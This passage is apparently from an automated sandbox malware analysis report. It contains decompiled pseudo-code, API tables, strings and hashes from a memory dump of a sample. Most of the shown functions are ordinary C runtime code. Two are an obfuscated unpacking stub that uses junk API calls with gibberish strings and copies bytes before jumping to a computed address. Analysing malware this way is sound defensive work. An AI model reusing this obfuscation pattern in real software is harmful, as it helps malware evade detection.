				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E0042BCB0(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x0042cb7f
0x0042cc2c
0x0042cc39
0x0042cc44
0x0042cc4a
0x0042cc63
0x0042cc68
0x0042cc6b
0x0042cc78
0x0042cc9c
0x0042cca1
0x0042cca1
0x0042ccaf
0x0042ccb8
0x0042ccea
0x0042ccef
0x0042ccef
0x0042ccb8
0x0042ccf6
0x0042ccfc
0x0042cd0a
0x0042ccfe
0x0042ccfe
0x0042ccfe
0x0042cd46
0x0042cd4b
0x0042cd4b
0x0042cd70
0x0042cd80
0x0042cd85
0x0042cd8c
0x0042cd9b
0x0042cdbd
0x0042cdcd
0x0042cdd2
0x0042cdd2
0x0042ce05
0x0042ce0a
0x0042ce0a
0x0042ce11
0x0042cf21
0x0042cf26
0x0042ce17
0x0042ce17
0x0042ce28
0x0042ce33
0x0042ce3f
0x0042ce43
0x0042ce57
0x0042ce5e
0x0042ce63
0x0042ce66
0x0042ce73
0x0042ce97
0x0042ce9c
0x0042ce9c
0x0042ce9f
0x0042cea4
0x0042ceaa
0x0042ceb3
0x0042cee5
0x0042ceea
0x0042ceea
0x0042ceed
0x0042cf29
0x0042cf4f
0x0042cf6d
0x0042cf72
0x0042cf75
0x0042cf82
0x0042cfb4
0x0042cfb9
0x0042cfb9
0x0042cfc3
0x0042cfd2
0x0042cfdc
0x0042cfe8
0x0042cfed
0x0042cff0
0x0042cff7
0x0042cffd
0x0042d014
0x0042d01d
0x0042d039
0x0042d042
0x0042d044
0x0042d049
0x0042d00e
0x00000000
0x0042d04b
0x0042d051
0x0042d057
0x0042d057
0x00000000
0x0042d049
0x0042d06c
0x0042d06e
0x0042d074
0x0042d08b
0x0042d094
0x0042d0b0
0x0042d0b9
0x0042d0bb
0x0042d0c0
0x0042d085
0x00000000
0x0042d0c2
0x0042d0c8
0x0042d0ce
0x0042d0ce
0x00000000
0x0042d0c0
0x0042d08b
0x0042d0dc
0x0042d0dc
0x0042d0e3
0x0042d0e3
0x0042d0fc
0x0042d109
0x0042d10b
0x0042d115
0x0042d127
0x0042d12d
0x0042d132
0x0042d134
0x0042d13a
0x0042d140
0x0042d140
0x0042d132
0x0042d151
0x0042d164
0x0042d16a
0x0042d175
0x0042d17b
0x0042d17e
0x0042d18c
0x0042d199
0x0042d1ad
0x0042d1b2
0x0042d1bd
0x0042d1d0
0x0042d1e0
0x00000000
0x00000000
0x0042d1e2
0x00000000
0x0042d1d2
0x0042d19b
0x0042d1e7
0x0042d1e7
0x0042d230
0x0042d235
0x0042d238
0x0042d245
0x0042d28c
0x0042d297
0x0042d297
0x0042d2b4
0x0042d2b7
0x0042d2bf
0x0042d250
0x0042d260
0x0042d265
0x0042d272
0x0042d275
0x0042d27d
0x0042d27d
0x0042d245
0x0042d199
0x0042d175
0x0042d2d2
0x0042d2d4
0x0042d2db
0x0042d2db
0x0042d2ee
0x0042d2f2
0x0042d2fd
0x0042d330
0x0042d335
0x0042d335
0x0042d348
0x0042d34a
0x0042d363
0x0042d363
0x0042d2ee
0x0042d151
0x0042cb85
0x0042cbb6
0x0042cbc3
0x0042cbcd
0x0042cbda
0x0042cbcf
0x0042cbcf
0x0042cbd2
0x0042cbd2
0x0042cbeb
0x0042cbf6
0x0042cbfc
0x0042cc03
0x0042cc0e
0x0042cc14
0x0042cc19
0x0042cc19
0x0042d369
0x0042d370
0x0042d389
0x0042d392
0x0042d39a
0x0042d39b
0x0042d39c
0x0042d3aa

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042CB77
__invoke_watson_if_error.LIBCMTD ref: 0042CBB6
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042CBC3
OutputDebugStringW.KERNEL32(00406790), ref: 0042CBEB
OutputDebugStringW.KERNEL32(, Line ), ref: 0042CBF6
OutputDebugStringW.KERNEL32(?), ref: 0042CC03
OutputDebugStringW.KERNEL32(0040677C), ref: 0042CC0E
_wcscat_s.LIBCMTD ref: 0042CDC4

Part of subcall function 00437840: __invalid_parameter.LIBCMTD ref: 004378B2

__invoke_watson_if_error.LIBCMTD ref: 0042CDCD

Part of subcall function 0041DE50: __invoke_watson.LIBCMTD ref: 0041DE71

_wcscat_s.LIBCMTD ref: 0042CDFC

Part of subcall function 00437840: _memset.LIBCMT ref: 0043791F
Part of subcall function 00437840: __invalid_parameter.LIBCMTD ref: 0043797B

__invoke_watson_if_error.LIBCMTD ref: 0042CE05
__snwprintf_s.LIBCMTD ref: 0042CE5E

Part of subcall function 0042D990: __vsnwprintf_s_l.LIBCMTD ref: 0042D9B2

__invoke_watson_if_oneof.LIBCMTD ref: 0042CE97
_wcscpy_s.LIBCMTD ref: 0042CEDC
__invoke_watson_if_error.LIBCMTD ref: 0042CEE5
__invoke_watson_if_oneof.LIBCMTD ref: 0042CF6D
_wcscpy_s.LIBCMTD ref: 0042CFAB
__invoke_watson_if_error.LIBCMTD ref: 0042CFB4
__itow_s.LIBCMTD ref: 0042CBAD

Part of subcall function 00438240: _xtow_s@20.LIBCMTD ref: 0043826B

__strftime_l.LIBCMTD ref: 0042CC63
__invoke_watson_if_oneof.LIBCMTD ref: 0042CC9C
_wcscpy_s.LIBCMTD ref: 0042CCE1
__invoke_watson_if_error.LIBCMTD ref: 0042CCEA
_wcscpy_s.LIBCMTD ref: 0042CD3D
__invoke_watson_if_error.LIBCMTD ref: 0042CD46
_wcscat_s.LIBCMTD ref: 0042CD77
__invoke_watson_if_error.LIBCMTD ref: 0042CD80

Strings

wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 0042CD25
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CCCB
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042CF44
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042CB8C, 0042CC81, 0042CCC1, 0042CD1B, 0042CD55, 0042CDA4, 0042CDDC, 0042CE7C, 0042CEBC, 0042CF3A, 0042CF8B, 0042D1F8, 0042D306
(*_errno()), xrefs: 0042CC8B, 0042CE86
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CEC6
Assertion failed: , xrefs: 0042CCFE
_VCrtDbgReportW, xrefs: 0042CB91, 0042CC86, 0042CCC6, 0042CD20, 0042CD5A, 0042CDA9, 0042CDE1, 0042CE81, 0042CEC1, 0042CF3F, 0042CF90, 0042D1FD, 0042D30B
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 0042CB96, 0042D310
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042D202
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042CD5F
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042CF9A
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 0042CDE6
Assertion failed!, xrefs: 0042CD0A
, Line , xrefs: 0042CBF1
%s(%d) : %s, xrefs: 0042CE48
_CrtDbgReport: String too long or IO Error, xrefs: 0042CCD0, 0042CECB
Second Chance Assertion Failed: File , xrefs: 0042CBBE
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042CF95
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 0042CDAE
<file unknown>, xrefs: 0042CBDA
P, xrefs: 0042D247

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 2252013794-3875623755
Opcode ID: bb75c327dc63cc1833e16df925b68670956d3ccda89680fe518e4efd1165374f
Instruction ID: fd2f24f9fcaab7df8689fd0b3e76084c379d04dc2a72b4cba71b910e5936e849
Opcode Fuzzy Hash: bb75c327dc63cc1833e16df925b68670956d3ccda89680fe518e4efd1165374f
Instruction Fuzzy Hash: 4312A574E40324EBE720DF50EC46BDA7378AB04745F5081AAF509762C1D7BCAA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00419B15, Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 110
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419B15() {
				signed int _v8;
				short _v2140;
				char _v3164;
				char _v5220;
				struct _COORD _v5224;
				struct _STARTUPINFOW _v5300;
				union _ULARGE_INTEGER _v5308;
				union _ULARGE_INTEGER _v5316;
				short _v7364;
				union _ULARGE_INTEGER _v7372;
				char _v7660;
				signed int _v7664;
				void _v7696;
				signed int _v7700;

				E0041A950(0x1e50);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x54abf4 == 0x16) {
						GetConsoleCursorInfo(0, 0);
						GetProfileStringA("wegazevevemitohokababawijufapiyodewemu", "gugafavapisufetirenucihobeyokuxutebijubixofaxabe", "xoliwerarihazohupamuzuficumabaselacahexuxa",  &_v3164, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringW(L"jikatopoxolumuho", L"nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb", L"zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus",  &_v2140, 0);
					}
					GetLastError();
					if( *0x54abf4 == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v5220, 0);
						GetWindowsDirectoryW( &_v7364, 0);
						__imp__GetCPInfoExA(0, 0,  &_v7660);
						GetDiskFreeSpaceExA("Yapey hetucironijas nuxo xukedosi bovuludut",  &_v5308,  &_v5316,  &_v7372);
						GetStartupInfoW( &_v5300);
						ReadConsoleOutputCharacterW(0, 0, 0, _v5224, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L0041983B( *0x443950,  *0x54abf4, 0x440010);
				_v7664 = _v7664 & 0x00000000;
				while(_v7664 < 0x3e79e) {
					if( *0x54abf4 == 0x10) {
						GlobalUnWire( &_v7696);
					}
					if(_v7664 == 0x1e673) {
						 *0x443950 =  *0x443950 + 0x399b;
					}
					_v7664 = _v7664 + 1;
				}
				_v7700 = _v7700 & 0x00000000;
				while(_v7700 < 0xdd9a7) {
					if( *0x54abf4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeap();
						WritePrivateProfileStringW(0, 0, 0, 0);
						SetPriorityClass(0, 0);
					}
					_v7700 = _v7700 + 1;
				}
				goto ( *0x443950);
			}

0x00419b1d
0x00419b22
0x00419b2f
0x00419b3e
0x00419b4b
0x00419b51
0x00419b6f
0x00419b79
0x00419b97
0x00419b97
0x00419b9d
0x00419bad
0x00419bb8
0x00419bc7
0x00419bd8
0x00419bf8
0x00419c05
0x00419c19
0x00419c19
0x00419c26
0x00419b2c
0x00000000
0x00419c28
0x00000000
0x00419c28
0x00419c26
0x00419c40
0x00419c45
0x00419c5b
0x00419c6e
0x00419c77
0x00419c77
0x00419c87
0x00419c89
0x00419c89
0x00419c55
0x00419c55
0x00419c95
0x00419cab
0x00419cc1
0x00419cc3
0x00419cc9
0x00419cd7
0x00419ce1
0x00419ce1
0x00419ca5
0x00419ca5
0x00419ce9

APIs

SetLastError.KERNEL32(00000000), ref: 00419B3E
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419B51
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419B6F
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419B79
GetProfileStringW.KERNEL32(jikatopoxolumuho,nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb,zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus,?,00000000), ref: 00419B97
GetLastError.KERNEL32 ref: 00419B9D
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419BB8
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 00419BC7
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419BD8
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419BF8
GetStartupInfoW.KERNEL32(?), ref: 00419C05
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419C19
GlobalUnWire.KERNEL32 ref: 00419C77
GetProcessHeap.KERNEL32 ref: 00419CC3
GetProcessHeap.KERNEL32 ref: 00419CC9
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419CD7
SetPriorityClass.KERNEL32(00000000,00000000), ref: 00419CE1

Strings

gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419B65
jikatopoxolumuho, xrefs: 00419B92
u7, xrefs: 00419C1F
nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb, xrefs: 00419B8D
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419B60
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419B6A
zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus, xrefs: 00419B88
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419BF3

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorHeapLastProcessWrite$CharacterClassCursorDiskFreeGlobalOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$jikatopoxolumuho$nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus$u7
API String ID: 191012449-1827300862
Opcode ID: d5b177935ba7eabf783b29204c8467134b32d596a218a0903cdf4bb894349670
Instruction ID: b4d48c1a464565ef98b12e43d1a9469729f9ecee8a258a9b2e6f074db74641eb
Opcode Fuzzy Hash: d5b177935ba7eabf783b29204c8467134b32d596a218a0903cdf4bb894349670
Instruction Fuzzy Hash: 11413A35954258EBEB209B90DE19FD977B9BB04706F1000A7F24AA90E0D7B85AC4CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004198CC, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004198CC(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _TIME_ZONE_INFORMATION _v260;
				void _v1284;
				char _v3332;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x54abf4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix",  &_v88,  &_v60);
					CreateMailslotA("kinekecusaz", 0, 0, 0);
					CallNamedPipeA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v260,  &_v40,  &_v24);
					__imp__SetComputerNameExA(0, "Hay sexulilef", _t54);
					GetConsoleCursorInfo(0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameW(0,  &_v3332, 0);
					__imp__SetVolumeMountPointW(0, 0);
					SetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeA("yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas");
					FindFirstFileExW(L"gocibuzoluxomebaxabuviyupezadapebetag", _a4,  &_v1284, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x54abf8; // 0x3f6faa
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x443950 + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x004198df
0x004198e8
0x004198ee
0x004198ef
0x004198f0
0x004198f1
0x004198ff
0x0041990d
0x0041991a
0x00419923
0x0041992a
0x00419932
0x00419939
0x0041993a
0x0041993b
0x0041993c
0x00419940
0x00419947
0x00419948
0x00419949
0x0041994a
0x0041995b
0x00419967
0x0041996f
0x00419976
0x0041997f
0x0041998e
0x00419996
0x0041999e
0x004199a5
0x004199b0
0x004199ca
0x004199d0
0x004199d1
0x004199d4
0x004199d9
0x004199e1
0x004199e4
0x004199f3
0x004199f8

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 004198FF
CreateMailslotA.KERNEL32 ref: 0041990D
CallNamedPipeA.KERNEL32 ref: 0041991A
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419923
FindAtomA.KERNEL32(00000000), ref: 0041992A
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 0041995B
SetComputerNameExA.KERNEL32(00000000,Hay sexulilef), ref: 00419967
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041996F
TlsGetValue.KERNEL32(00000000), ref: 00419976
CopyFileA.KERNEL32 ref: 0041997F
GetLongPathNameW.KERNEL32 ref: 0041998E
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 00419996
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 0041999E
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004199A5
GetDriveTypeA.KERNEL32(yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas), ref: 004199B0
FindFirstFileExW.KERNEL32(gocibuzoluxomebaxabuviyupezadapebetag,?,?,?,00000000,00000000), ref: 004199CA

Strings

gocibuzoluxomebaxabuviyupezadapebetag, xrefs: 004199C5
kinekecusaz, xrefs: 00419908
yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas, xrefs: 004199AB
lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix, xrefs: 004198FA
Hay sexulilef, xrefs: 00419961

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: FileFindNameTime$AtomBoostBuildCallCommComputerConsoleCopyCreateCursorDriveEnvironmentFirstFreeInfoLocalLongMailslotMountNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStringsSystemTimeoutsTypeValueVolume
String ID: Hay sexulilef$gocibuzoluxomebaxabuviyupezadapebetag$kinekecusaz$lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix$yizorasafaloxosunepaxawovonihahakucilahifalilepesarapugimuneyas
API String ID: 118337534-3095731778
Opcode ID: 09ed30b492f97a830ad82e8e25b5002e705cd0b55e82cb27f6da18c5fdb189e4
Instruction ID: 70f75f2993ac7b4dac30ee7bb45758d56aad6514b6e5f12bd99e96ce51576a81
Opcode Fuzzy Hash: 09ed30b492f97a830ad82e8e25b5002e705cd0b55e82cb27f6da18c5fdb189e4
Instruction Fuzzy Hash: F3313676402568BFD7119BE8DE089DFBFBCEF0A351B100026F245E2030D6385A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042BCB0, Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0042BCB0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x440354; // 0xa5248312
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x54b520 = _t6;
				 *0x54b51c = _t20;
				 *0x54b518 = _t22;
				 *0x54b514 = _t19;
				 *0x54b510 = _t25;
				 *0x54b50c = _t24;
				 *0x54b538 = ss;
				 *0x54b52c = cs;
				 *0x54b508 = ds;
				 *0x54b504 = es;
				 *0x54b500 = fs;
				 *0x54b4fc = gs;
				asm("pushfd");
				_pop( *0x54b530);
				 *0x54b524 =  *_t29;
				 *0x54b528 = _v0;
				 *0x54b534 =  &_a4;
				 *0x54b470 = 0x10001;
				 *0x54b424 =  *0x54b528;
				 *0x54b418 = 0xc0000409;
				 *0x54b41c = 1;
				_t21 =  *0x440354; // 0xa5248312
				_v812 = _t21;
				_t23 =  *0x440358; // 0x5adb7ced
				_v808 = _t23;
				 *0x54b468 = IsDebuggerPresent();
				_push(1);
				E004299F0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x408078);
				if( *0x54b468 == 0) {
					_push(1);
					E004299F0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042bcb0
0x0042bcb0
0x0042bcb0
0x0042bcb0
0x0042bcb0
0x0042bcb0
0x0042bcb0
0x0042bcb6
0x0042bcb8
0x0042bcb8
0x0043616b
0x00436170
0x00436176
0x0043617c
0x00436182
0x00436188
0x0043618e
0x00436195
0x0043619c
0x004361a3
0x004361aa
0x004361b1
0x004361b8
0x004361b9
0x004361c2
0x004361ca
0x004361d2
0x004361dd
0x004361ec
0x004361f1
0x004361fb
0x00436205
0x0043620b
0x00436211
0x00436217
0x00436223
0x00436228
0x0043622a
0x00436234
0x0043623f
0x0043624c
0x0043624e
0x00436250
0x00436255
0x0043626d

APIs

IsDebuggerPresent.KERNEL32 ref: 0043621D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00436234
UnhandledExceptionFilter.KERNEL32(00408078), ref: 0043623F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043625D
TerminateProcess.KERNEL32(00000000), ref: 00436264

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: d33d6eec9ec0402152c8a8e0e3891087fa48fcae2f688fcf5cadc28b83c95f56
Instruction ID: b6a520d5a1875c62e1fe1394d6023547acb15f6e0274a4bd0da1a8007db446a1
Opcode Fuzzy Hash: d33d6eec9ec0402152c8a8e0e3891087fa48fcae2f688fcf5cadc28b83c95f56
Instruction Fuzzy Hash: 1121F5BC8012049FEB04DF65FD446D5BBA5FB2A318F10516AE90893332F7748689EF49

Uniqueness

Uniqueness Score: -1.00%

Function 00428520, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00428520() {

				SetUnhandledExceptionFilter(E004284B0);
				return 0;
			}

0x0042852a
0x00428533

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000284B0), ref: 0042852A

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: bbbca07cd5dbf52c742b58155d89f196e47fe0363a5600ea7a4c4ff1c7cac2b0
Instruction ID: 146028d5f87be04f6e7658347af2de9d3c16b611416dfccccb35a017d31231d7
Opcode Fuzzy Hash: bbbca07cd5dbf52c742b58155d89f196e47fe0363a5600ea7a4c4ff1c7cac2b0
Instruction Fuzzy Hash: F3B0123124421827970027F27C0DD073A8CD5C47353920065F00CD1020EC65A4004059

Uniqueness

Uniqueness Score: -1.00%

Function 005731FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667624367.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_ECD2MpEBSf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adde1d8ed614f1b4627ac8248198af32a96e582f141dfd9e05361ae7fa8ad012
Instruction ID: aca5944d5d441d4cbd35feb137c256fdd717ca94dd01e6a709b5dd3cdc084a46
Opcode Fuzzy Hash: adde1d8ed614f1b4627ac8248198af32a96e582f141dfd9e05361ae7fa8ad012
Instruction Fuzzy Hash: 1631A02955485D9ECF2D47B0E44A1D1BFA0EF5A304B690DCACB919FC57C9306443D693

Uniqueness

Uniqueness Score: -1.00%

Function 00573253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667624367.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_ECD2MpEBSf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: 53a40bf5046d6280c6b5ddb6d77b2d38a3a41d98a8c8cb533e49fdb9561db3ea
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: CD31BC2991085D9FCB2C4775A058191BB90EF5E304FB60DCACB90AFC47CA306843E293

Uniqueness

Uniqueness Score: -1.00%

Function 00570042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667624367.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_ECD2MpEBSf.jbxd

Similarity

API ID:
String ID:
API String ID:
